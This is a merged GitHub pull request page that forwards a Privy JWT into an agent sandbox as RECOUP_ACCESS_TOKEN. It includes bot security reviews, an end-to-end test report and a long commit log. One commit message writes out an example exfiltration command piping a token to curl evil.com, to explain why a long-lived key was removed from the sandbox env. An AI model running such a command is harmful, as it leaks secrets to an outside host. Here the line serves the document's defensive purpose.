Skip to content

feat(chat-workflow): forward Privy JWT as RECOUP_ACCESS_TOKEN (cutover Bundle A.4) - #601

Merged
sweetmantech merged 1 commit into
testfrom
feat/api-chat-workflow-recoup-access-token
May 22, 2026
Merged

feat(chat-workflow): forward Privy JWT as RECOUP_ACCESS_TOKEN (cutover Bundle A.4)#601
sweetmantech merged 1 commit into
testfrom
feat/api-chat-workflow-recoup-access-token

Conversation

@sweetmantech

@sweetmantechsweetmantech commented May 22, 2026

Copy link
Copy Markdown
Contributor

Summary

Fifth and final open-agents → api cutover bundle. The chat UI sends a short-lived Privy JWT in the workflow request body as recoupAccessToken. Today api silently strips it via Zod's default .strip() mode and never plumbs it into the sandbox env, so the recoup-api skill's curl examples can't authenticate.

Production reproducer

Both backends, same prompt: "Use the recoup-api skill to call GET /api/accounts/id and tell me the account_id from the response."

Today (before this fix)
api prodrecoup-api skill loads ✓. Curl runs with empty $RECOUP_ACCESS_TOKEN → 401. Agent reports "RECOUP_ACCESS_TOKEN is not set — you'll need to sign in."
open-agents prodSkill loads ✓. Curl returns HTTP 200 with the user's account_id (fb678396-…).

Plumbing (TDD red → green at each layer)

FileChange
lib/chat/validateChatWorkflow.tsAccept recoupAccessToken: z.string().min(1).max(8192).optional() in the body schema (open-agents-shape)
lib/agent/tools/AgentContext.tsAdd recoupAccessToken?: string field — mirrors open-agents/packages/agent/types.ts:29
lib/chat/handleChatWorkflowStream.tsConditionally spread recoupAccessToken into agentContext when validator surfaced it
lib/agent/tools/buildRecoupExecEnv.tsInject RECOUP_ACCESS_TOKEN into the sandbox exec env when set on context

Security

Only forward when the caller sent the field in the body (chat UI path). x-api-key callers don't set it, so their long-lived recoup_sk_… key is never exfiltratable from the sandbox env. Existing risk comment preserved.

Cutover roadmap

#BundleStatus
1C per-message cost/usage✅ merged
2B subagent live progress + transcript✅ merged
3A.7 real cwd in system prompt✅ merged
4A.6 Anthropic prompt cache control✅ merged
5A.4 forward Privy JWT as recoupAccessToken✅ this PR (last one)

After this lands, sandbox.recoupable.com (open-agents UI) can switch from sandbox.recoupable.com/api/chatrecoup-api.vercel.app/api/chat/workflow without UI changes.

Test plan

  • 5 new unit tests (3 buildRecoupExecEnv + 1 validator + 1 handler); 1 handler omit-when-undefined regression
  • Full suite 3144/3144 pass; lint clean
  • E2E on preview: re-run the recoup-api skill prompt with recoupAccessToken in body → expect HTTP 200 + account_id from /api/accounts/id

🤖 Generated with Claude Code


Summary by cubic

Forwards the user's Privy JWT from chat workflow requests into the sandbox as RECOUP_ACCESS_TOKEN so the recoup-api skill can authenticate. Fixes 401s on GET /api/accounts/id and completes cutover Bundle A.4.

  • New Features
    • Accepts optional recoupAccessToken in the body and adds recoupAccessToken? to AgentContext.
    • handleChatWorkflowStream forwards it when present; buildRecoupExecEnv injects RECOUP_ACCESS_TOKEN for skills like recoup-api.
    • Only forwarded for bearer-auth UI requests; never for x-api-key calls (long-lived recoup_sk_* keys are not exposed).

Written for commit 0a8c501. Summary will update on new commits. Review in cubic

Summary by CodeRabbit

  • New Features
    • Added support for short-lived token authentication in API integrations. The system now uses temporary bearer tokens for API calls instead of permanent long-lived credentials. This reduces security risk and improves protection against unauthorized access. Updated validation and context handling throughout the application stack to fully support the new authentication method.

Review Change Stack

… A.4)
Fifth and final open-agents → api cutover bundle. The chat UI sends a
short-lived Privy JWT in the workflow request body as
`recoupAccessToken`. Today api silently strips it via Zod's default
`.strip()` mode and never plumbs it into the sandbox env, so the
`recoup-api` skill's curl examples can't authenticate as the user.
Production reproducer (today, before this fix):
api prod: recoup-api skill loads. curl returns
"RECOUP_ACCESS_TOKEN is not set" → 401.
Agent: "you need to sign in."
open-agents prod: recoup-api skill loads. curl returns HTTP 200
with the user's account_id.
Plumbing (all three layers TDD red → green):
- lib/chat/validateChatWorkflow.ts — accept
`recoupAccessToken: z.string().min(1).max(8192).optional()` in the
body schema. Open-agents-shape compatible.
- lib/agent/tools/AgentContext.ts — add `recoupAccessToken?: string`
field. Mirrors open-agents'
`packages/agent/types.ts:29`.
- lib/chat/handleChatWorkflowStream.ts — conditionally spread the
token into `agentContext` when validator surfaced it.
- lib/agent/tools/buildRecoupExecEnv.ts — inject
`RECOUP_ACCESS_TOKEN` into the sandbox exec env when the field is
set. The recoup-api skill's curl examples reference this env var.
Security note: only forward the token when the caller sent it in the
body (chat UI path). x-api-key callers don't set this field, so their
long-lived `recoup_sk_…` key is never exfiltratable from the sandbox
env. Maintained from the prior code comment.
Tests: 5 new (3 buildRecoupExecEnv + 1 validator + 1 handler);
plus 1 handler omit-when-undefined assertion. Full suite 3144/3144
pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
@vercel

vercelBot commented May 22, 2026

Copy link
Copy Markdown
Contributor

The latest updates on your projects. Learn more about Vercel for GitHub.

ProjectDeploymentActionsUpdated (UTC)
apiReadyReadyPreviewMay 22, 2026 3:10am

Request Review

@coderabbitai

coderabbitaiBot commented May 22, 2026

Copy link
Copy Markdown
📝 Walkthrough

Walkthrough

This PR extends the agent execution pipeline to accept and thread a short-lived bearer token (recoupAccessToken) from HTTP requests through agent context into the tool sandbox environment, enabling authenticated recoup-api calls without exposing long-lived API keys to model-issued processes.

Changes

Recoup Bearer Token Flow

Layer / File(s)Summary
Request schema and validation entry point
lib/chat/validateChatWorkflow.ts
chatWorkflowBodySchema now accepts optional recoupAccessToken field (min 1, max 8192 chars) with documentation describing it as a short-lived Privy JWT.
Agent context type definition
lib/agent/tools/AgentContext.ts
AgentContext adds optional recoupAccessToken?: string field with JSDoc explaining it is forwarded to sandbox as RECOUP_ACCESS_TOKEN for Bearer auth, but intentionally omitted for x-api-key callers to protect long-lived keys.
Token forwarding into agent context
lib/chat/handleChatWorkflowStream.ts
handleChatWorkflowStream conditionally spreads validated.recoupAccessToken into workflow agentContext with documentation clarifying the exfiltration risk mitigation strategy.
Environment variable injection for tool sandbox
lib/agent/tools/buildRecoupExecEnv.ts
buildRecoupExecEnv documentation and implementation updated to conditionally inject RECOUP_ACCESS_TOKEN from experimental_context.recoupAccessToken, complementing the existing RECOUP_ORG_ID injection.

Sequence Diagram

sequenceDiagram
participant Client
participant validateChatWorkflow
participant handleChatWorkflowStream
participant buildRecoupExecEnv
participant bashTool as bashTool/recoup-api
Client->>validateChatWorkflow: POST with recoupAccessToken
validateChatWorkflow->>validateChatWorkflow: Parse & validate token via schema
validateChatWorkflow-->>handleChatWorkflowStream: validated.recoupAccessToken
handleChatWorkflowStream->>handleChatWorkflowStream: Spread token into agentContext
handleChatWorkflowStream-->>buildRecoupExecEnv: agentContext.recoupAccessToken
buildRecoupExecEnv->>buildRecoupExecEnv: Conditionally set RECOUP_ACCESS_TOKEN
buildRecoupExecEnv-->>bashTool: env override with RECOUP_ACCESS_TOKEN
bashTool->>bashTool: curl -H "Authorization: Bearer $RECOUP_ACCESS_TOKEN"
Loading

Estimated Code Review Effort

🎯 3 (Moderate) | ⏱️ ~20 minutes

Possibly Related PRs

  • recoupable/api#584: Established the AgentContext/buildRecoupExecEnv threading infrastructure that this PR extends with conditional RECOUP_ACCESS_TOKEN injection for bearer-authenticated API calls.

Poem

A token flows from client call,
Through validation, context, sandbox all,
Short-lived JWT, never exposed,
Long-lived secrets safely closed,
Model tools now auth with grace! 🔐

🚥 Pre-merge checks | ✅ 2 | ❌ 1

❌ Failed checks (1 warning)

Check nameStatusExplanationResolution
Solid & Clean Code⚠️ WarninghandleChatWorkflowStream line 140 violates KISS principle: forwards token based only on field presence, not auth method, contradicting documented security guarantees.Add auth-method gating: const shouldForward = Boolean(validated.recoupAccessToken) && validated.authToken && !validated.authToken.startsWith("recoup_sk_");
✅ Passed checks (2 passed)
Check nameStatusExplanation
Linked Issues check✅ PassedCheck skipped because no linked issues were found for this pull request.
Out of Scope Changes check✅ PassedCheck skipped because no linked issues were found for this pull request.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
📝 Generate docstrings
  • Create stacked PR
  • Commit on current branch
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch feat/api-chat-workflow-recoup-access-token

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

@coderabbitaicoderabbitaiBot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🧹 Nitpick comments (1)
lib/agent/tools/AgentContext.ts (1)

44-49: ⚡ Quick win

Use account terminology in these docs.

Line 45-Line 49 says “authenticate as the user”; please switch to “account” wording for consistency with repository terminology.

As per coding guidelines, "Use 'account' terminology, never 'entity' or 'user'; use specific names like 'artist', 'workspace', 'organization' when referring to specific types".

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@lib/agent/tools/AgentContext.ts` around lines 44 - 49, Update the doc comment
for AgentContext.recoupAccessToken to use "account" terminology instead of
"user": change phrases like "user's session token" to "account session token"
and "authenticate as the user" to "authenticate as the account" (and mirror
wording where it references open-agents' AgentContext.recoupAccessToken),
ensuring the comment consistently uses "account" per repository guidelines.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@lib/chat/handleChatWorkflowStream.ts`:
- Around line 133-140: The code currently forwards validated.recoupAccessToken
unconditionally when present; change the spread to gate forwarding by the
request's auth method so the short-lived token is only forwarded for
Bearer-based callers. In the handleChatWorkflowStream flow replace the spread
...(validated.recoupAccessToken ? { recoupAccessToken:
validated.recoupAccessToken } : {}) with a conditional that checks both
validated.recoupAccessToken and the auth indicator used in this codebase (e.g.,
validated.authType === 'bearer' or validated.authMethod === 'Bearer') so the
token is only included for Bearer auth paths.
---
Nitpick comments:
In `@lib/agent/tools/AgentContext.ts`:
- Around line 44-49: Update the doc comment for AgentContext.recoupAccessToken
to use "account" terminology instead of "user": change phrases like "user's
session token" to "account session token" and "authenticate as the user" to
"authenticate as the account" (and mirror wording where it references
open-agents' AgentContext.recoupAccessToken), ensuring the comment consistently
uses "account" per repository guidelines.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

Run ID: b60733c5-bb3d-40d8-aaef-eee3762d9a28

📥 Commits

Reviewing files that changed from the base of the PR and between 2ffd706 and 0a8c501.

⛔ Files ignored due to path filters (3)
  • lib/agent/tools/__tests__/buildRecoupExecEnv.test.ts is excluded by !**/*.test.*, !**/__tests__/** and included by lib/**
  • lib/chat/__tests__/handleChatWorkflowStream.test.ts is excluded by !**/*.test.*, !**/__tests__/** and included by lib/**
  • lib/chat/__tests__/validateChatWorkflow.test.ts is excluded by !**/*.test.*, !**/__tests__/** and included by lib/**
📒 Files selected for processing (4)
  • lib/agent/tools/AgentContext.ts
  • lib/agent/tools/buildRecoupExecEnv.ts
  • lib/chat/handleChatWorkflowStream.ts
  • lib/chat/validateChatWorkflow.ts

Comment threadlib/chat/handleChatWorkflowStream.ts

@cubic-dev-aicubic-dev-aiBot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

2 issues found across 7 files

Confidence score: 3/5

  • There is moderate merge risk because lib/agent/tools/AgentContext.ts introduces a concrete security concern: placing JWTs in durable context can extend token lifetime beyond a single request and increase exposure risk.
  • lib/chat/handleChatWorkflowStream.ts also has auth-control ambiguity: forwarding recoupAccessToken whenever present in request body depends on caller behavior instead of strict server-side gating, which can lead to unintended token propagation.
  • Given the medium severities (6/10 and 5/10) and authentication impact, this looks mergeable only with caution and a follow-up fix plan.
  • Pay close attention to lib/agent/tools/AgentContext.ts, lib/chat/handleChatWorkflowStream.ts - token persistence and forwarding rules need tighter lifecycle and server-side enforcement.
Architecture diagram
sequenceDiagram
participant UI as Chat UI (Browser)
participant API as Next.js API Route
participant Validate as validateChatWorkflow
participant Handler as handleChatWorkflowStream
participant Agent as AgentContext Builder
participant Sandbox as Sandbox Exec Env
participant RecoupAPI as recoup-api Service
Note over UI,RecoupAPI: Chat Workflow Request Flow
UI->>API: POST /api/chat/workflow
Note over UI,API: Authorization: Bearer <privy-jwt>
API->>Validate: validateChatWorkflow(body)
alt Body includes recoupAccessToken
Validate->>Validate: Accept recoupAccessToken via Zod schema
Validate-->>API: Validated body with recoupAccessToken
API->>Handler: handleChatWorkflowStream(request)
Handler->>Handler: Spread recoupAccessToken into AgentContext
Note over Handler: Only for bearer-auth callers (chat UI path)
Handler->>Agent: Construct agent context
Note over Agent: Includes recoupAccessToken field
Agent-->>Handler: AgentContext with token
Handler->>Handler: Build sandbox exec env
Handler->>Sandbox: buildRecoupExecEnv(context)
alt recoupAccessToken present and non-empty
Sandbox->>Sandbox: Set RECOUP_ACCESS_TOKEN=<jwt>
Sandbox->>Sandbox: Set RECOUP_ORG_ID (if present)
Sandbox-->>Handler: Exec env with RECOUP_ACCESS_TOKEN
Handler->>Handler: Start agent run with enriched env
Handler->>RecoupAPI: Skill curl example uses $RECOUP_ACCESS_TOKEN
Note over RecoupAPI: Authorization: Bearer <privy-jwt>
RecoupAPI-->>Handler: HTTP 200 with account data
else No token or empty token
Sandbox-->>Handler: Undefined (no env vars)
Handler->>Handler: Start agent run without RECOUP_ACCESS_TOKEN
Handler->>RecoupAPI: Skill curl example called
RecoupAPI-->>Handler: HTTP 401 (unauthenticated)
end
else Body omits recoupAccessToken
Note over Validate: x-api-key caller (no bearer auth)
Validate-->>API: Validated body without recoupAccessToken
API->>Handler: handleChatWorkflowStream(request)
Handler->>Agent: Construct agent context
Note over Agent: recoupAccessToken omitted
Agent-->>Handler: AgentContext without token
Handler->>Sandbox: buildRecoupExecEnv(context)
Note over Sandbox: RECOUP_ACCESS_TOKEN not set
Handler->>RecoupAPI: Skill uses long-lived recoup_sk_ key
Note over RecoupAPI: Not exposed to sandbox env
end
Note over UI,RecoupAPI: Security Boundary
Note over UI,RecoupAPI: Short-lived Privy JWT forwarded only for bearer-auth UI
Note over UI,RecoupAPI: Long-lived x-api-key credentials never injected into env
Loading

Reply with feedback, questions, or to request a fix.

Re-trigger cubic

Comment threadlib/agent/tools/AgentContext.ts
Comment threadlib/chat/handleChatWorkflowStream.ts
@sweetmantech

Copy link
Copy Markdown
ContributorAuthor

E2E verified on preview ✅

Preview:https://api-hnjntbtti-recoup.vercel.app (commit 0a8c5012)

Two prod-shape requests against a fresh sandbox session, validating both the forwarding path AND the security path.

Test #1 — Forwarding (body has recoupAccessToken)

Request body included "recoupAccessToken": "test-jwt-from-pr601-preview-WIRED-OK".

Agent ran:

if [ -n"$RECOUP_ACCESS_TOKEN" ];thenecho"TOKEN_SET length=${#RECOUP_ACCESS_TOKEN} value=$RECOUP_ACCESS_TOKEN";elseecho"TOKEN_NOT_SET";fi

Stdout:

TOKEN_SET length=36 value=test-jwt-from-pr601-preview-WIRED-OK

Verified: the exact 36-char sentinel I sent in the body is in the sandbox env. All 4 plumbing layers work:

  1. Validator (validateChatWorkflow) accepted the new field
  2. Handler (handleChatWorkflowStream) forwarded into AgentContext.recoupAccessToken
  3. Env builder (buildRecoupExecEnv) injected RECOUP_ACCESS_TOKEN
  4. Bash tool (bashTool via sandbox.exec) sees the env var

Test #2 — Security (no recoupAccessToken in body, x-api-key auth only)

Same chat, same key, body omits the field.

Stdout:TOKEN_NOT_SET

Verified: x-api-key auth path does NOT leak the long-lived key into the sandbox env. The conditional spread in handleChatWorkflowStream.ts:140 correctly gates forwarding on the field's presence.

Before / after summary

api prod (today)api preview (this PR)
With body recoupAccessToken: "X"TOKEN_NOT_SET (stripped by Zod)TOKEN_SET value=X
Without body field, x-api-key authTOKEN_NOT_SETTOKEN_NOT_SET (preserved security)

What this unlocks at cutover

When sandbox.recoupable.com (open-agents chat UI) switches its endpoint from sandbox.recoupable.com/api/chatrecoup-api.vercel.app/api/chat/workflow, the existing request body already includes recoupAccessToken: "eyJ..." (the user's Privy JWT). With this PR:

  • That JWT now flows through into the sandbox env as RECOUP_ACCESS_TOKEN
  • The recoup-api skill's curl examples authenticate as the user
  • GET /api/accounts/id returns 200 with the user's account_id (same as the open-agents prod baseline I captured earlier)

Ready to merge.

@sweetmantech
sweetmantech merged commit af4a01e into testMay 22, 2026
6 checks passed
@sweetmantech
sweetmantech deleted the feat/api-chat-workflow-recoup-access-token branch May 22, 2026 03:21
sweetmantech added a commit that referenced this pull request May 22, 2026
…ver bundle (#602)
* feat(chat-workflow): POST /api/chat/workflow route stub (PR 2 of 5) (#579)
* feat(chat-workflow): add POST /api/chat/workflow route stub
Adds the route stub for the new sandbox-driven, Vercel-Workflow-backed
chat endpoint documented in recoupable/docs#221. The stub validates
the full request contract (auth, body, session/chat ownership,
sandbox active) and returns a hardcoded UIMessage stream with an
x-workflow-run-id: stub-<uuid> header — so the chat-side team can
integrate against the real response shape today while the workflow
itself is being ported from open-agents in follow-up PRs.
Files:
- app/api/chat/workflow/route.ts — thin POST shim + OPTIONS for CORS
- lib/chat/handleChatWorkflowStream.ts — auth → validate → session/chat
ownership → sandbox check → stub UIMessage stream
- lib/chat/validateChatWorkflowBody.ts — Zod schema matching the OpenAPI
ChatWorkflowRequest (messages, chatId, sessionId, optional
context.contextLimit)
Status codes implemented (match contract docs):
- 200 — UIMessage stream + x-workflow-run-id header
- 400 — invalid JSON / invalid body / "Sandbox not initialized"
- 401 — validateAuthContext passthrough
- 403 — session not owned by API key's account
- 404 — session or chat not found (incl. chat under different session)
- 500 — selectSessions returned null (DB error)
409 (duplicate workflow run for chat) is deferred to the wire-up PR
that adds compareAndSetChatActiveStreamId — no workflow to dedupe yet.
Tests (TDD red→green): 23 new tests, all green; full suite 2901 pass.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR review — SRP/DRY cleanup
Two review fixes per PR feedback:
1. SRP/DRY — drop the local errorResponse helper from
handleChatWorkflowStream.ts; use the shared
lib/networking/errorResponse and lib/zod/validationErrorResponse
helpers instead.
2. SRP — move auth + body parsing out of handleChatWorkflowStream.ts
into the validator. Rename validateChatWorkflowBody → validateChatWorkflow
so it accepts a full NextRequest (like the existing validateChatRequest)
and returns an auth-augmented body (accountId/orgId/authToken). The
handler now opens with a single `validateChatWorkflow(request)` call.
Tests reshaped to match new seams:
- Validator test mocks validateAuthContext only
- Handler test mocks validateChatWorkflow (the new seam)
- Old "400 invalid JSON" + "400 missing chatId" handler tests collapsed
into a single "validator short-circuit passes through" test — both are
now the validator's responsibility, not the handler's
22/22 new tests green; full suite 2900/2900 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* chore: revert unrelated local changes accidentally swept into PR
Previous commit (9262f65) used `git add -A` which picked up local
Supabase CLI artifacts (supabase/.temp/) and a local .gitignore tweak
that aren't part of this PR's scope. Removing them now so the PR
diff stays scoped to the chat-workflow refactor.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow (PR 3 of 4) (#581)
* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow
Replaces the stub UIMessage stream in PR #579 with a real Vercel Workflow
agent loop. Stub run-ids (`stub-<uuid>`) are replaced with real ones
(`wrun_<id>`) emitted by the workflow runtime. Tools are still NOT wired —
the workflow runs streamText with the gateway model + Recoup custom
instructions only. Sandbox tool surface comes in a follow-up PR.
What's now plumbed end-to-end:
- validateChatWorkflow → session+chat ownership → sandbox active → reconcile
existing active_stream_id (resume / 409 / fall-through) → refresh
lifecycle activity → fire-and-forget persist user message → start
runAgentWorkflow → CAS active_stream_id (cancel + 409 on race) →
return run.getReadable() with x-workflow-run-id header
New helpers (Supabase):
- compareAndSetChatActiveStreamId — atomic CAS on chats.active_stream_id
- touchChat — bump chats.updated_at
- updateChat — generic partial update mirroring updateSession's shape
- createChatMessageIfNotExists — INSERT ... ON CONFLICT DO NOTHING via upsert
- isFirstChatMessage — true iff exactly one row exists matching messageId
New helpers (chat/recoupable):
- extractOrgId — `org-<slug>-<uuid>` → uuid (lowercased)
- agentCustomInstructions — assistantFileLinkPrompt + recoupApiSkillPrompt
- persistLatestUserMessage — fire-and-forget user msg + title-from-first-80
- reconcileExistingActiveStream — 3-attempt resume/clear/conflict loop
New workflow files:
- app/workflows/runAgentWorkflow.ts — `"use workflow"`, agent loop wrapper
- app/workflows/runAgentStep.ts — `"use step"`, single streamText turn
Tests: 46 new (8 extractOrgId + 5 cAS + 3 touchChat + 2 updateChat + 3
createChatMessageIfNotExists + 5 isFirstChatMessage + 7 persistLatest +
6 reconcileExistingActiveStream + 18 handler-wire-up tests refactored).
Full suite: 2946/2946 pass, lint clean.
Out of scope (next PR): sandbox tool ports (10 files + buildAgentTools).
Without tools, `finishReason` is always "stop" after one turn — the
runAgentWorkflow loop shape is in place but only iterates once today.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR review — structural + P1/P2 fixes
Sweetman structural feedback (KISS / OCP):
- Move workflow files: app/workflows/runAgent{Workflow,Step}.ts →
app/lib/workflows/runAgent{Workflow,Step}.ts
- Generic Supabase helpers + domain wrappers:
- Generic `updateChat({filter, updates})` with optional CAS predicate
on active_stream_id. Subsumes compareAndSetChatActiveStreamId and
touchChat (both deleted).
- Generic `selectChatMessages({chatId, orderBy, limit, ...})` replaces
domain-specific isFirstChatMessage. The "is earliest?" check now
lives in persistLatestUserMessage where it belongs.
- Rename createChatMessageIfNotExists → `upsertChatMessage` with a
discriminated `{ok, row, isDuplicate} | {ok:false, error}` result so
callers can tell duplicates from DB errors.
- Extract resume-stream block from handler into `maybeResumeChatStream.ts`
(OCP — handler stays small, resume logic grows independently).
cubic P1 fixes:
- CAS-before-start: handler now claims `active_stream_id` with a
`pending-<uuid>` placeholder BEFORE calling start(workflow). Closes the
race where two requests could both bill the model before one lost the
CAS. After start(), promotes the placeholder to the real run id.
- updateChat returns discriminated `{ok, rowsUpdated} | {ok:false, error}`
so callers distinguish "race lost" (rowsUpdated:0) from DB errors.
- reconcileExistingActiveStream: bare try/catch on getRun no longer
clears stale active_stream_id on transient workflow API failures —
we treat any uncertainty as conflict. Failed CAS-clear on a completed
run also returns conflict (rather than possibly falling through to
ready on a DB read error).
- await getRun(runId).cancel() in handler — previously synchronous +
unawaited cancellation could escape the try/catch.
cubic P2 fixes:
- updateChat updates parameter narrowed to `ChatMutableFields` (excludes
id, session_id, created_at).
- persistLatestUserMessage: title truncation now respects TITLE_MAX_LENGTH
exactly. Uses "…" (1 char) instead of "..." (3 chars) and slices to
body-budget = max - suffix.
- runAgentStep: acquire writer once, release in finally. Per-chunk writer
acquisition could leak the lock on write failure.
- runAgentWorkflow: capped at a single turn until messages threading
lands with tool ports (PR 4). Multi-turn loop with the same input was
unsafe — log+warn if model returns tool-calls and exit.
Tests reworked: 231 in the touched files all green; full suite 2949/2949;
lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): top-level import in reconcileExistingActiveStream
The dynamic `await import("workflow/api")` inside the function body was
a carry-over from open-agents — handleChatWorkflowStream.ts already
top-level imports `start` and `getRun` from the same package, so there's
no reason for the lib to defer. Moving to a normal top-level import for
consistency.
Also tightens the cancel-throws handler test to use the same deferred-
rejection pattern as reconcileExistingActiveStream.test.ts so Vitest's
unhandled-rejection watcher doesn't trip on the mock setup.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): move active_stream_id CAS out of supabase lib
Per sweetman's review on updateChat.ts:64 — the active_stream_id-specific
predicate logic doesn't belong in the Supabase plumbing. Restructured:
- `lib/supabase/chats/updateChat.ts` now generic. The filter accepts
`where: Partial<Tables<"chats">>` (a generic predicate that maps to
`column = value` or `column IS NULL`) so no column name is hardcoded
in the Supabase lib.
- `lib/chat/compareAndSetChatActiveStreamId.ts` — new domain wrapper.
Owns the "compare-and-set on active_stream_id" concept and returns a
discriminated `{ok, claimed} | {ok: false, error}` result. Handler
and reconcileExistingActiveStream both compose against this wrapper
instead of constructing predicates inline.
- Handler + reconcile updated to use the wrapper. Tests follow.
37/37 tests in touched files pass; full suite 2955/2955; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(chat-workflow): Next.js build — discriminated-union narrowing + supabase type depth
Two production-build issues surfaced by Vercel that local pnpm test +
tsc didn't catch (vitest uses esbuild transpile, no type check; tsc's
errors were all in __tests__ unrelated to this PR).
1. `compareAndSetChatActiveStreamId.ts` — `if (result.ok) { ... }`
narrowing wasn't kicking in under Next.js's strict TS plugin.
Switched to `if ("error" in result)` (in-operator narrowing) which
reliably discriminates the union members regardless of literal-type
inference quirks.
2. `lib/supabase/chats/updateChat.ts` — `let query = supabase.from(...)
.update(...).eq(...)` + reassignment in a `for` loop (`.is()` /
`.eq()` per where entry) caused "type instantiation is excessively
deep" — Supabase's PostgrestFilterBuilder is heavily generic and the
reassignment kept expanding the type. Rewrote as: split where map
into equality matches (one `.match(obj)` call) + nullable columns
(reduced with `.is(col, null)` typed back to the original builder).
Both bugs were behavior-neutral — the function shape and contract are
unchanged. 37/37 tests in touched files green; full suite 2955/2955;
lint clean; `pnpm build` now succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4, slim) (#583)
* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4 of 4, slim)
Slim PR 4: ports the `bash` sandbox tool from open-agents and wires it
through the workflow via streamText's `experimental_context`. Proves
the entire tool-execution machinery works end-to-end. The remaining 10
tools (read, write, grep, glob, todo, task, ask_user_question, skill,
fetch + utils) port in a follow-up; this PR's scope was deliberately
held to one tool so the wire-up is reviewable in isolation.
New files:
- lib/agent/tools/utils.ts — AgentContext type, isAgentContext guard,
getSandbox() that reconnects via connectVercel(state) per call.
- lib/agent/tools/buildRecoupExecEnv.ts — { RECOUP_ACCESS_TOKEN,
RECOUP_ORG_ID } env builder from context.
- lib/agent/tools/bashTool.ts — direct port of open-agents bash.ts
adapted to api's Sandbox interface. Injects recoup env on foreground
execs only (detached processes outlive the prompt → no token).
- lib/agent/buildAgentTools.ts — factory returning the agent's tool
record. Adding the remaining tools is a one-line append to this map.
Wire-up:
- runAgentStep now accepts `agentContext`, passes into streamText as
experimental_context, and uses streamText's internal multi-step loop
(stopWhen: stepCountIs(25)) for tool-call iteration — no outer loop
in runAgentWorkflow needed.
- handleChatWorkflowStream derives recoupOrgId from session.clone_url
via extractOrgId, builds AgentContext with session.sandbox_state +
validated.authToken, passes to start(workflow).
Tests: 23 new (3 utils + 5 buildRecoupExecEnv + 10 bashTool + 2 factory
+ 3 workflow file updates picked up by existing tests). Full suite
2978/2978 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR 583 review — KISS/SRP + drop token exposure
Sweetman KISS/SRP feedback (4 comments):
- Removed `MAX_TOOL_STEPS` + `stopWhen` from runAgentStep. streamText's
default stop condition handles tool-call iteration without an
arbitrary cap that could silently truncate the only workflow turn.
- Removed `commandNeedsApproval` + `DANGEROUS_COMMAND_PATTERNS` from
bashTool. All model-issued commands are trusted in this PR — host-
side gating belongs at the route/UI layer if it ever returns.
- Removed `needsApproval` from bashTool entirely (subsumes cubic P1
about the broken override ordering — the gate itself is gone).
- Split `lib/agent/tools/utils.ts` into per-function files:
- `AgentContext.ts` — type
- `isAgentContext.ts` — guard
- `getSandbox.ts` — sandbox reconnection
No catch-all utils file.
Cubic feedback:
- **P0**: Removed `recoupAccessToken` from AgentContext + handler +
buildRecoupExecEnv. Handing the long-lived api key to bash would let
any model-issued command exfiltrate it via env (`echo $TOKEN | curl
evil.com`). Slim PR 4 has no actual consumer for the token — only
the future `skill` tool needs it. Proper short-lived token minting
will land alongside that port.
- **P2** (`isAgentContext` too weak): tightened the guard to validate
sandbox.state is a non-null object AND sandbox.workingDirectory is a
non-empty string. Earlier guard returned true for `{ sandbox: {} }`,
letting tools later crash on undefined fields.
- P1 + P2 about stopWhen / needsApproval: resolved by sweetman's
deletions above.
- P2 (test file >100 lines): dismissed — same as PR 3 review. The repo
has no enforced max-lines rule; existing tests routinely exceed 700
lines.
Tests updated for the new shape. 25 tests in touched files green
(8 isAgentContext + 4 getSandbox + 7 bashTool + 4 buildRecoupExecEnv +
2 factory). Full suite 2980/2980 pass; lint clean; production build
succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat): extract CHAT_AGENT_STOP_WHEN, shared by /api/chat + /api/chat/workflow
Per discussion on PR #583. Restoring the streamText stop condition so
the workflow agent gets the model wrap-up turn after a tool call (model
→ tool → tool-result → model → text response), instead of stopping at
streamText's default `stepCountIs(1)` after the first tool call.
DRY by sharing one constant between the two chat endpoints:
- New: `CHAT_AGENT_STOP_WHEN = stepCountIs(111)` in lib/chat/const.ts.
Inherits the value that /api/chat already uses (originally hardcoded
in getGeneralAgent.ts:55) — high enough that normal flows never hit
the cap but bounds runaway loops for cost / replay safety.
- lib/agents/generalAgent/getGeneralAgent.ts: imports the constant
